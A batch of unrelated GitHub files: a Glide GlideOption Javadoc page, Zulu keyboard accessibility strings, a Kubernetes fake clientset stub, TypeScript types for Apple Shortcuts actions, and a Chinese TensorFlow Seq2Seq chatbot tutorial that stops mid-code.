--> <ul class="blockList"> <li class="blockList"><a name="annotation.type.optional.element.summary"> <!-- --> </a> <h3>Optional Element Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Optional Element Summary table, listing optional elements, and an explanation"> <caption><span>Optional Elements</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Optional Element and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#memoizeStaticMethod--">memoizeStaticMethod</a></span></code> <div class="block"><code>true</code> to indicate that it's safe to statically memoize the result of this method using <a href="../../../../com/bumptech/glide/request/RequestOptions.html#autoClone--"><code>RequestOptions.autoClone()</code></a>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#override--">override</a></span></code> <div class="block">Determines how and whether a generated method should extend a method from it's parent.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#skipStaticMethod--">skipStaticMethod</a></span></code> <div class="block"><code>true</code> to prevent a static builder method from being generated.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="http://docs.oracle.com/javase/7/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a></code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#staticMethodName--">staticMethodName</a></span></code> <div class="block">Sets the name for the generated static version of this method.</div> </td> </tr> </table> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ ANNOTATION TYPE FIELD DETAIL =========== --> <ul class="blockList"> <li class="blockList"><a name="annotation.type.field.detail"> <!-- --> </a> <h3>Field Detail</h3> <a name="OVERRIDE_NONE"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>OVERRIDE_NONE</h4> <pre>public static final&nbsp;int&nbsp;OVERRIDE_NONE</pre> <div class="block">Does not intend to override a method in a super class.</div> </li> </ul> </li> </ul> <ul class="blockList"> <li class="blockList"><a name="OVERRIDE_EXTEND"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>OVERRIDE_EXTEND</h4> <pre>public static final&nbsp;int&nbsp;OVERRIDE_EXTEND</pre> <div class="block">Expects to call super and then add additional functionality to an overridden method.</div> </li> </ul> </li> </ul> <ul class="blockList"> <li class="blockList"><a name="OVERRIDE_REPLACE"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>OVERRIDE_REPLACE</h4> <pre>public static final&nbsp;int&nbsp;OVERRIDE_REPLACE</pre> <div class="block">Expects to not call super and replace an overridden method.</div> </li> </ul> </li> </ul> <!-- ============ ANNOTATION TYPE MEMBER DETAIL =========== --> <ul class="blockList"> <li class="blockList"><a name="annotation.type.element.detail"> <!-- --> </a> <h3>Element Detail</h3> <a name="override--"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>override</h4> <pre>public abstract&nbsp;int&nbsp;override</pre> <div class="block">Determines how and whether a generated method should extend a method from it's parent. <p>Must be one of <a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_NONE"><code>OVERRIDE_NONE</code></a>, <a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_EXTEND"><code>OVERRIDE_EXTEND</code></a>, <a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_REPLACE"><code>OVERRIDE_REPLACE</code></a>. <p>The extended method is determined by String and argument matching against methods in the extended class. If <a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_NONE"><code>OVERRIDE_NONE</code></a> is used and the method and arguments match a method in the extended class, a compile time error will result. Similarly if any other override type is used and no method/arguments in the extended class match, a compile time error will result.</div> <dl> <dt>Default:</dt> <dd>0</dd> </dl> </li> </ul> </li> </ul> <ul class="blockList"> <li class="blockList"><a name="staticMethodName--"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>staticMethodName</h4> <pre>public abstract&nbsp;<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;staticMethodName</pre> <div class="block">Sets the name for the generated static version of this method. <p>If this value is not set, the static method name is just the original method name with "Of" appended.</div> <dl> <dt>Default:</dt> <dd>""</dd> </dl> </li> </ul> </li> </ul> <ul class="blockList"> <li class="blockList"><a name="memoizeStaticMethod--"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>memoizeStaticMethod</h4> <pre>public abstract&nbsp;boolean&nbsp;memoizeStaticMethod</pre> <div class="block"><code>true</code> to indicate that it's safe to statically memoize the result of this method using <a href="../../../../com/bumptech/glide/request/RequestOptions.html#autoClone--"><code>RequestOptions.autoClone()</code></a>. <p>This method should only be used for no-arg methods where there's only a single possible value. <p>Memoization can save object allocations for frequently used options.</div> <dl> <dt>Default:</dt> <dd>false</dd> </dl> </li> </ul> </li> </ul> <ul class="blockList"> <li class="blockList"><a name="skipStaticMethod--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>skipStaticMethod</h4> <pre>public abstract&nbsp;boolean&nbsp;skipStaticMethod</pre> <div class="block"><code>true</code> to prevent a static builder method from being generated. <p>By default static methods are generated for all methods annotated with <a href="../../../../com/bumptech/glide/annotation/GlideOption.html" title="annotation in com.bumptech.glide.annotation"><code>GlideOption</code></a>. These static factory methods allow for a cleaner API when used with <a href="../../../../com/bumptech/glide/RequestBuilder.html#apply-com.bumptech.glide.request.RequestOptions-"><code>RequestBuilder.apply(com.bumptech.glide.request.RequestOptions)</code></a>. The static factory method by default simply creates a new <a href="../../../../com/bumptech/glide/request/RequestOptions.html" title="class in com.bumptech.glide.request"><code>RequestOptions</code></a> object, calls the instance version of the method on it and returns it. For example: <pre> <code> public static GlideOptions noAnimation() { return new GlideOptions().dontAnimate(); } </code> </pre></div> <dl> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#memoizeStaticMethod--"><code>memoizeStaticMethod()</code></a>, <a href="../../../../com/bumptech/glide/annotation/GlideOption.html#staticMethodName--"><code>staticMethodName()</code></a></dd> </dl> <dl> <dt>Default:</dt> <dd>false</dd> </dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../com/bumptech/glide/annotation/GlideModule.html" title="annotation in com.bumptech.glide.annotation"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../com/bumptech/glide/annotation/GlideType.html" title="annotation in com.bumptech.glide.annotation"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?com/bumptech/glide/annotation/GlideOption.html" target="_top">Frames</a></li> <li><a href="GlideOption.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li><a href="#annotation.type.field.summary">Field</a>&nbsp;|&nbsp;</li> <li>Required&nbsp;|&nbsp;</li> <li><a href="#annotation.type.optional.element.summary">Optional</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li><a href="#annotation.type.field.detail">Field</a>&nbsp;|&nbsp;</li> <li><a href="#annotation.type.element.detail">Element</a></li> </ul> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- /* ** ** Copyright 2015, The Android Open Source Project ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ --> <resources xmlns:android="http://schemas.android.com/apk/res/android" xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2"> <string name="spoken_use_headphones" msgid="4313642710742229868">"Plaka ku-headset ukuze uzwe okhiye bephasiwedi ezindlebeni zakho bezwakala kakhulu."</string> <string name="spoken_current_text_is" msgid="4240549866156675799">"Umbhalo wamanje ngu %s"</string> <string name="spoken_no_text_entered" msgid="1711276837961785646">"Awukho umbhalo ofakiwe"</string> <string name="spoken_auto_correct" msgid="8989324692167993804">"I-<xliff:g id="KEY_NAME">%1$s</xliff:g> ilungisa i-<xliff:g id="ORIGINAL_WORD">%2$s</xliff:g> kube yi-<xliff:g id="CORRECTED_WORD">%3$s</xliff:g>"</string> <string name="spoken_auto_correct_obscured" msgid="7769449372355268412">"I-<xliff:g id="KEY_NAME">%1$s</xliff:g> yenza ukulungisa okuzenzakalelayo"</string> <string name="spoken_empty_suggestion" msgid="4250215619373459752">"Asikho isiphakamiso"</string> <string name="spoken_description_unknown" msgid="5139930082759824442">"Uhlamvu olungaziwa"</string> <string name="spoken_description_shift" msgid="7209798151676638728">"U-Shift"</string> <string name="spoken_description_symbols_shift" msgid="3483198879916435717">"Amasimbuli amaningi"</string> <string name="spoken_description_shift_shifted" msgid="3122704922642232605">"U-Shift"</string> <string name="spoken_description_symbols_shift_shifted" msgid="5179175466878186081">"Amasimbuli"</string> <string name="spoken_description_caps_lock" msgid="1224851412185975036">"U-Shift"</string> <string name="spoken_description_delete" msgid="3878902286264983302">"Susa"</string> <string name="spoken_description_to_symbol" msgid="8244903740201126590">"Amasimbuli"</string> <string name="spoken_description_to_alpha" msgid="4081215210530031950">"Izinhlamvu"</string> <string name="spoken_description_to_numeric" msgid="4560261331530795682">"Izinombolo"</string> <string name="spoken_description_settings" msgid="7281251004003143204">"Izilungiselelo"</string> <string name="spoken_description_tab" msgid="8210782459446866716">"Ithebhu"</string> <string name="spoken_description_space" msgid="5908716896642059145">"Isikhala"</string> <string name="spoken_description_mic" msgid="6153138783813452464">"Okungenayo kwezwi"</string> <string name="spoken_description_emoji" msgid="7990051553008088470">"I-Emoji"</string> <string name="spoken_description_return" msgid="3183692287397645708">"Buyela"</string> <string name="spoken_description_search" msgid="5099937658231911288">"Sesha"</string> <string name="spoken_description_dot" msgid="5644176501632325560">"Icashazi"</string> <string name="spoken_description_language_switch" msgid="6818666779313544553">"Shintsha ulimi"</string> <string name="spoken_description_action_next" msgid="431761808119616962">"Okulandelayo"</string> <string name="spoken_description_action_previous" msgid="2919072174697865110">"Okwangaphambilini"</string> <string name="spoken_description_shiftmode_on" msgid="5107180516341258979">"U-Shift uvunyelwe"</string> <string name="spoken_description_shiftmode_locked" msgid="7307477738053606881">"Ofeleba bavunyelwe"</string> <string name="spoken_description_mode_symbol" msgid="111186851131446691">"Imodi yezimpawu"</string> <string name="spoken_description_mode_symbol_shift" msgid="4305607977537665389">"Imodi yamasimbuli amaningi"</string> <string name="spoken_description_mode_alpha" msgid="4676004119618778911">"Imodi yezinhlamvu"</string> <string name="spoken_description_mode_phone" msgid="2061220553756692903">"Imodi yefoni"</string> <string name="spoken_description_mode_phone_shift" msgid="7879963803547701090">"Imodi yezimpawu zefoni"</string> <string name="announce_keyboard_hidden" msgid="2313574218950517779">"Ikhibhodi ifihliwe"</string> <string name="announce_keyboard_mode" msgid="6698257917367823205">"Ibonisa ikhibhodi ye-<xliff:g id="KEYBOARD_MODE">%s</xliff:g>"</string> <string name="keyboard_mode_date" msgid="6597407244976713364">"idethi"</string> <string name="keyboard_mode_date_time" msgid="3642804408726668808">"idethi nesikhathi"</string> <string name="keyboard_mode_email" msgid="1239682082047693644">"i-imeyili"</string> <string name="keyboard_mode_im" msgid="3812086215529493501">"imilayezo"</string> <string name="keyboard_mode_number" msgid="5395042245837996809">"inombolo"</string> <string name="keyboard_mode_phone" msgid="2486230278064523665">"ifoni"</string> <string name="keyboard_mode_text" msgid="9138789594969187494">"umbhalo"</string> <string name="keyboard_mode_time" msgid="8558297845514402675">"isikhathi"</string> <string name="keyboard_mode_url" msgid="8072011652949962550">"I-URL"</string> <string name="spoken_descrption_emoji_category_recents" msgid="4185344945205590692">"Okwakamuva"</string> <string name="spoken_descrption_emoji_category_people" msgid="8414196269847492817">"Abantu"</string> <string name="spoken_descrption_emoji_category_objects" msgid="6116297906606195278">"Izinto"</string> <string name="spoken_descrption_emoji_category_nature" msgid="5018340512472354640">"Indalo"</string> <string name="spoken_descrption_emoji_category_places" msgid="1163315840948545317">"Izindawo"</string> <string name="spoken_descrption_emoji_category_symbols" msgid="474680659024880601">"Amasimbuli"</string> <string name="spoken_descrption_emoji_category_flags" msgid="5971573825866381472">"Ukuhlaba umkhosi"</string> <string name="spoken_descrption_emoji_category_eight_smiley_people" msgid="5682663819532433464">"Ismayili nabantu"</string> <string name="spoken_descrption_emoji_category_eight_animals_nature" msgid="5844950234883716704">"Izilwane nemvelo"</string> <string name="spoken_descrption_emoji_category_eight_food_drink" msgid="6196944764485349650">"Awokudla neziphuzo"</string> <string name="spoken_descrption_emoji_category_eight_travel_places" msgid="3834085499381434611">"Ukuhamba nezindawo"</string> <string name="spoken_descrption_emoji_category_eight_activity" msgid="4795281669042975993">"Umsebenzi"</string> <string name="spoken_descrption_emoji_category_emoticons" msgid="456737544787823539">"Izithombe-mzwelo"</string> <string name="spoken_description_upper_case" msgid="4904835255229433916">"Ufeleba <xliff:g id="LOWER_LETTER">%s</xliff:g>"</string> <string name="spoken_letter_0049" msgid="4743162182646977944">"Ufeleba I"</string> <string name="spoken_letter_0130" msgid="4766619646231612274">"Ufeleba I, icashazi ngenhla"</string> <string name="spoken_symbol_unknown" msgid="717298227061173706">"Uphawu olungaziwa"</string> <string name="spoken_emoji_unknown" msgid="5981009928135394306">"I-emoji engaziwa"</string> <string name="spoken_emoticon_3A_2D_21_20" msgid="2410905667389534573">"Ubuso obunesithukuthezi"</string> <string name="spoken_emoticon_3A_2D_24_20" msgid="2481260475945560438">"Ubuso obuphoxekile"</string> <string name="spoken_emoticon_42_2D_29_20" msgid="1063205250387128068">"Ubuso obugqoke izibuko"</string> <string name="spoken_emoticon_3A_4F_20" msgid="532695091593447238">"Ubuso obumangele"</string> <string name="spoken_emoticon_3A_2D_2A_20" msgid="5612342617244114291">"Ukubso bokuqabula"</string> <string name="spoken_emoticon_3A_2D_5B_20" msgid="2223507987759905920">"Ubuso obuswacile"</string> <string name="spoken_open_more_keys_keyboard" msgid="6832897688371903747">"Ezinye izinhlamvu ziyatholakala"</string> <string name="spoken_close_more_keys_keyboard" msgid="3524914657934712026">"Ezinye izinhlamvu ziyalahlwa"</string> <string name="spoken_open_more_suggestions" msgid="4231720702882969760">"Ezinye iziphakamiso ziyatholakala"</string> <string name="spoken_close_more_suggestions" msgid="9118455416075032839">"Ezinye iziphakamiso ziyalahlwa"</string> </resources>
{ "pile_set_name": "Github" }
/* Copyright 2016 The Kubernetes Authors All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // This package is generated by client-gen with arguments: --test=true // This package has the automatically generated fake clientset. package fake
{ "pile_set_name": "Github" }
/* jsonpath listprint: console.log([...new Set( )].sort().map(c => JSON.stringify(c)).join(" | ")) */ import { ShortcutsActionCategory } from "./Strings/ShortcutsActionCategory"; import { ShortcutsActionSubcategory } from "./Strings/ShortcutsActionSubcategory"; import { ShortcutsActionIODataType } from "./Strings/ShortcutsActionIODataType"; import { ShortcutsActionSupportedUserInterface } from "./Strings/ShortcutsActionSupportedUserInterface"; import { ShortcutsActionIconName } from "./Strings/ShortcutsActionIconName"; import { ShortcutsAppIdentifier } from "./Strings/ShortcutsAppIdentifier"; import { ShortcutsActionClass } from "./Strings/ShortcutsActionClass"; import { ShortcutsActionEnvironments } from "./Strings/ShortcutsActionEnvironments"; import { ShortcutsActionAceCommandClass } from "./Strings/ShortcutsActionAceCommandClass"; import { CoercionTypeClass } from "../../WFTypes/Types"; import { ShortcutsParameterSpec } from "./ShortcutsParameterSpec"; import { ShortcutsResourceSpec } from "./ShortcutsResourceSpec"; export type ShortcutsActionIOSpec = { Multiple?: boolean; Required?: boolean; Types?: ShortcutsActionIODataType[]; }; export type ShortcutsActionBaseSpec = { ActionClass: ShortcutsActionClass; ActionKeywords?: string[]; AppIdentifier?: ShortcutsAppIdentifier; Category?: ShortcutsActionCategory; Subcategory?: ShortcutsActionSubcategory; Description?: { DescriptionNote?: string; DescriptionAttribution?: { Description: string; Link: { Text: "The Weather Channel"; URL: "https://www.weather.com"; }; }; DescriptionInput?: string; DescriptionSummary?: string; DescriptionResult?: string; }; Discontinued?: boolean; Input?: ShortcutsActionIOSpec & { TypePassthrough?: boolean }; Output?: ShortcutsActionIOSpec & { OutputName?: string }; IconName?: ShortcutsActionIconName; InputPassthrough?: boolean; CreationDate?: string; LastModifiedDate?: string; Name?: string; Parameters?: ShortcutsParameterSpec[]; RequiredResources?: ShortcutsResourceSpec[]; IntentIdentifier?: string; UserInterfaces?: ShortcutsActionSupportedUserInterface[]; UnsupportedEnvironments?: ShortcutsActionEnvironments[]; ShortName?: string; SuggestedNever?: boolean; SuggestedAsInitialAction?: boolean; BlockInfo?: { Example?: string; Completion?: string; }; AppSection?: "CloudApp" | "Pinboard"; SettingsUI?: { ViewControllerClass: string; ShowWhenResourcesUnavailable?: boolean; }; RunningUIComponentClass?: string; AppInfo?: "Evernote"; OutputName?: string; IsDebugAction?: boolean; IntentName?: string; Discoverable?: boolean; }; export type ShortcutsStartCallActionSpec = ShortcutsActionBaseSpec & { WFStartCallActionType: "FaceTime"; }; export type ShortcutsACESetSettingActionSpec = ShortcutsActionBaseSpec & { ACECommandClass: ShortcutsActionAceCommandClass; ACESettingValueKey: string; }; export type ShortcutsCoercionActionSpec = ShortcutsActionBaseSpec & { CoercionItemClass: CoercionTypeClass; }; export type ShortcutsContentItemFilterActionSpec = ShortcutsActionBaseSpec & { WFContentItemClass: CoercionTypeClass; WFContentItemDefaultProperty: | "Album" | "Artist" | "Body" | "Calendar" | "List" | "Value"; }; export type ShortcutsGetLatestPhotosActionSpec = ShortcutsActionBaseSpec & { WFGetLatestPhotosActionType: | "Photo" | "Screenshot" | "Video" | "Burst" | "Live Photo"; }; export type ShortcutsGetUpcomingCalendarItemsActionSpec = ShortcutsActionBaseSpec & { WFGetUpcomingItemType: 0 | 1; }; export type ShortcutsSocialActionSpec = ShortcutsActionBaseSpec & { ConvertsAnimatedImagesToVideo: boolean; ICActionIdentifier: | "com.facebook.Facebook.ShareExtension" | "com.atebits.Tweetie2.ShareExtension"; }; export type ShortcutsContentItemPropertiesActionSpec = ShortcutsActionBaseSpec & { WFContentItemClass: CoercionTypeClass; }; export type ShortcutsRemoveCalendarItemsActionSpec = ShortcutsActionBaseSpec & { WFCalendarItemEntityType: "Event" | "Reminder"; }; export type ShortcutsFindHealthSamplesActionSpec = ShortcutsContentItemFilterActionSpec; export type ShortcutsToggleFlashlightActionSpec = ShortcutsACESetSettingActionSpec; export type ShortcutsSetBrightnessActionSpec = ShortcutsACESetSettingActionSpec; export type ShortcutsACESetWiFiActionSpec = ShortcutsACESetSettingActionSpec; export type ShortcutsSelectContactsActionSpec = ShortcutsActionBaseSpec & { ContactProperties: ("Email" | "Phone")[]; }; export type ShortcutsSendMessageActionSpec = ShortcutsActionBaseSpec & { RateLimit: { Delay: number; Threshold: number; Timeout: number; }; }; export type ShortcutsSkipSongActionSpec = ShortcutsActionBaseSpec & { WFSkipSongActionMode: "Back" | "Forward"; }; export type ShortcutsTextComponentsActionSpec = ShortcutsActionBaseSpec & { WFTextComponentsMode: "Combine" | "Split"; }; type _ac<N extends string> = { ActionClass: N }; export type ShortcutsActionSpec = | ShortcutsActionBaseSpec | (ShortcutsStartCallActionSpec & _ac<"WFStartCallAction">) | (ShortcutsACESetSettingActionSpec & _ac<"WFACESetSettingAction">) | (ShortcutsCoercionActionSpec & _ac<"WFCoercionAction">) | (ShortcutsContentItemFilterActionSpec & _ac<"WFContentItemFilterAction">) | (ShortcutsFindHealthSamplesActionSpec & _ac<"WFFindHealthSamplesAction">) | (ShortcutsToggleFlashlightActionSpec & _ac<"WFToggleFlashlightAction">) | (ShortcutsGetLatestPhotosActionSpec & _ac<"WFGetLatestPhotosAction">) | (ShortcutsGetUpcomingCalendarItemsActionSpec & _ac<"WFGetUpcomingCalendarItemsAction">) | (ShortcutsSocialActionSpec & _ac<"WFSocialAction">) | (ShortcutsContentItemPropertiesActionSpec & _ac<"WFContentItemPropertiesAction">) | (ShortcutsRemoveCalendarItemsActionSpec & _ac<"WFRemoveCalendarItemsAction">) | (ShortcutsSelectContactsActionSpec & _ac<"WFSelectContactsAction">) | (ShortcutsSendMessageActionSpec & _ac<"WFSendMessageAction">) | (ShortcutsSetBrightnessActionSpec & _ac<"WFSetBrightnessAction">) | (ShortcutsSkipSongActionSpec & _ac<"WFSkipSongAction">) | (ShortcutsTextComponentsActionSpec & _ac<"WFTextComponentsAction">) | (ShortcutsACESetWiFiActionSpec & _ac<"WFACESetWiFiAction">);
{ "pile_set_name": "Github" }
Tensorflow Seq2Seq 闲聊机器人(Huan) =================================================== Tensorflow Python 闲聊机器人 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 在本章,我们实现一个可以用来闲聊的对话模型。这个对话模型将基于序列到序列(Seq2Seq)来对电影台词中的对话数据进行训练。 序列到序列模型(Sequence to Sequence, SEQ2SEQ)是一种基于 RNN 的 Encoder-Decoder 结构,它也是现在谷歌应用于线上机器翻译的算法,翻译质量已经和人类水平不相上下。 这里通过 Keras 自定义模型建立一个闲聊对话模型(Seq2Seq)。它使用 Encoder-Decoder 结构,简单的来说就是算法包含两部分,一个负责对输入的信息进行 Encoding,将输入转换为向量形式;然后由 Decoder 对这个向量进行解码,还原为输出序列。 关于 Seq2Seq 的原理和介绍,可以参考 Keras 的博客:A ten-minute introduction to sequence-to-sequence learning in Keras。地址: https://blog.keras.io/a-ten-minute-introduction-to-sequence-to-sequence-learning-in-keras.html 这里,我们使用 Seq2Seq 来实现一个闲聊(ChitChat)对话机器人。除了闲聊任务(输入一句话,输出一句回复)之外,它也可以被直接应用于解决其他类似问题,比如:翻译(输入一句英文,输出一句中文)、摘要(输入一篇文章,输出一份总结)、作诗(输入几个关键字,输出一首短诗)、对对联(输入上联,输出下联),等等。 这个任务对比与之前的RNN尼采风格文本生成,区别在于我们预测的不再是文本的连续字母概率分布,而是通过一个序列,来预测另外一个对应的完整序列。举例来说,针对一句常见的打招呼:: How are you 这个句子(序列)一共有3个单词。当我们听到这个由3个单词组成的句子后,根据我们的习惯,我们最倾向与回复的一句话是 "Fine thank you"。我们希望建立这样的模型,输入 num_batch 个由编码后单词和字符组成的,长为 max_length 的序列,输入张量形状为 [num_batch, max_length],输出与这个序列对应的序列(如聊天回复、翻译等)中单词和字符的概率分布,概率分布的维度为词汇表大小 voc_size,输出张量形状为 [num_batch, max_length, voc_size]。 首先,还是实现一个简单的 ``DataLoader`` 类来读取文本, .. code-block:: python DATASET_URL = 'https://github.com/huan/python-concise-chitchat/releases/download/v0.0.1/dataset.txt.gz' DATASET_FILE_NAME = 'concise-chitchat-dataset.txt.gz' START_TOKEN = '\t' END_TOKEN = '\n' class DataLoader(): def __init__(self): dataset_file = tf.keras.utils.get_file(DATASET_FILE_NAME, origin=DATASET_URL) with gzip.open(dataset_file, 'rt') as f: self.raw_text = f.read().lower() self.queries, self.responses = self.__parse_raw_text(self.raw_text) self.size = len(self.queries) def get_batch(self, batch_size=32): batch_indices = np.random.choice(len(self.queries), size=batch_size) batch_queries = self.queries[batch_indices] batch_responses = self.responses[batch_indices] return batch_queries, batch_responses def __parse_raw_text(self, raw_text: str): query_list = [] response_list = [] for line in raw_text.strip('\n').split('\n'): query, response = line.split('\t') query_list.append(query) response_list.append('{} {} {}'.format(START_TOKEN, response, END_TOKEN)) return np.array(query_list), np.array(response_list) 其次,我们还需要基于 `DataLoader` 加载的文本数据,建立一个词汇表 `Vocabulary` 来负责管理以下5项任务: 1. 将所有单词和标点符号进行编码; 2. 记录词汇表大小; 3. 建立单词到编码数字,以及编码数字到单词的映射字典; 4. 负责将文本句子转化为填充后的编码序列,形状为[batch_size, max_length]; .. code-block:: python MAX_LEN = 10 class Vocabulary: def __init__(self, text): self.tokenizer = tf.keras.preprocessing.text.Tokenizer(filters='') self.tokenizer.fit_on_texts([END_TOKEN, START_TOKEN] + re.split(r'[\n\s\t]',text)) self.size = 1 + len(self.tokenizer.word_index.keys()) def texts_to_padded_sequences(self, text_list): sequence_list = self.tokenizer.texts_to_sequences(text_list) padded_sequences = tf.keras.preprocessing.sequence.pad_sequences( sequence_list, maxlen=MAX_LEN, padding='post',truncating='post') return padded_sequences 接下来进行模型的实现。我们建立一个ChitChat模型。ChitChat 模型是一个 Seq2Seq 的模型,主要由 ChitEncoder 和 ChatDecoder 组成。 ChitEncoder 子模型输入 num_batch 个由编码后单词和字符组成的,长为 max_length 的序列,输入张量形状为 [num_batch, max_length],输出与这个序列对应的上下文张量。为了简化代码,我们这里只使用一个最基本的 GRU 单元,没有使用可以获得更佳效果的双向RNN、注意力机制等方法。在 `__init__` 方法中我们实例化一个常用的 `GRU` 单元,并将其设置为 `return_state=True` 来获得最终的状态输出,我们首先对序列进行 GRU 操作,即将编码序列变换为 GRU 最终输出的状态 ,并将其作为代表编码序列的上下文信息 `context` ,作为模型的输出。 `ChitEncoder` 子模型具体实现如下: .. code-block:: python RNN_UNIT_NUM = 512 EMBEDDING_DIM = 512 class ChitEncoder(tf.keras.Model): def __init__(self): super().__init__() self.gru = tf.keras.layers.GRU(units=RNN_UNIT_NUM, return_sequences=True, return_state=True) def call(self, inputs): [outputs, state] = self.gru(inputs) return outputs, state ChatDecoder 子模型输入 num_batch 个编码后的一个单词或字符的 Embedding,和当前的上下文信息张量 `initial_state` 两个信息构成,输入张量形状分别为 [num_batch, 1, EMBEDDING_DIM],和 [num_batch, RNN_UNIT_NUM]。在 `__init__` 方法中我们保存词汇表容量 `voc_size` ,实例化一个常用的 `GRU` 单元,并将其设置为输出单元状态 `return_state=True` 来获得 GRU 的状态输出,以及一个全连接层 `Dense` 单元,负责将 GRU 的输出变换为最终的单词字符分布概率,并将其作为这个上下文信息对应的单词符号序列概率分布张量,作为模型的输出,形状为[num_batch, 1, voc_size]。 `ChitDecoder` 子模型具体实现如下: .. code-block:: python class ChatDecoder(tf.keras.Model): def __init__(self, voc_size): super().__init__() self.voc_size = voc_size self.gru = tf.keras.layers.GRU(units=RNN_UNIT_NUM, return_state=True) self.dense = tf.keras.layers.Dense(units=self.voc_size) def call(self, inputs, initial_state): outputs, state = self.gru(inputs=inputs, initial_state=[initial_state]) outputs = self.dense(outputs) return outputs, state 构建 ChitChat 模型将基于上面的两个 ChitEncoder 和 ChatDecoder 子模型。在 `__init__` 方法中我们将 `Vocabulary` 中的词汇到编码字典 `word_index` 和编码到词汇字典 `index_word` ,以及词汇量 `voc_size` 保存备用,实例化一个词向量的 `Embedding` 单元,以及一个 `ChitEncoder` 子模型和对应的 `ChatDecoder` 子模型。`ChatDecoder` 子模型中需要使用词汇表尺寸,我们通过构造参数传给它。 模型的工作流程为:我们首先对输入序列通过 `Embedding` 层进行词向量转换,然后进行 Encoder 操作,即将编码序列 `inputs` 的词嵌入向量,变换为一个上下文向量 `encoder_hidden_state` 。然后,我们进入解码流程:将 START_TOKEN 词向量和 `encoder_hidden_state` 作为解码器的首次输入,解码得到解码器的输出编码张量 `decoder_outputs`,以及状态张量 `decoder_state`。接下来将 `decoder_outputs` 和 `decoder_state` 重复输入解码器,即可不断得到新的 `decoder_outputs` 即作为模型的输出,直到 `decoder_outputs` 解码出来的字符为 END_TOKEN 为止。最终输出的张量形状为[num_batch, max_length, voc_size]。 `ChitChat` 模型具体实现如下: .. code-block:: python class ChitChat(tf.keras.Model): def __init__(self, vocabulary): super().__init__() self.word_index = vocabulary.tokenizer.word_index self.index_word = vocabulary.tokenizer.index_word self.voc_size = vocabulary.size self.indice_sos = self.word_index[START_TOKEN] self.indice_eos = self.word_index[END_TOKEN] self.embedding = tf.keras.layers.Embedding( input_dim=self.voc_size,output_dim=EMBEDDING_DIM) self.encoder = ChitEncoder() self.decoder = 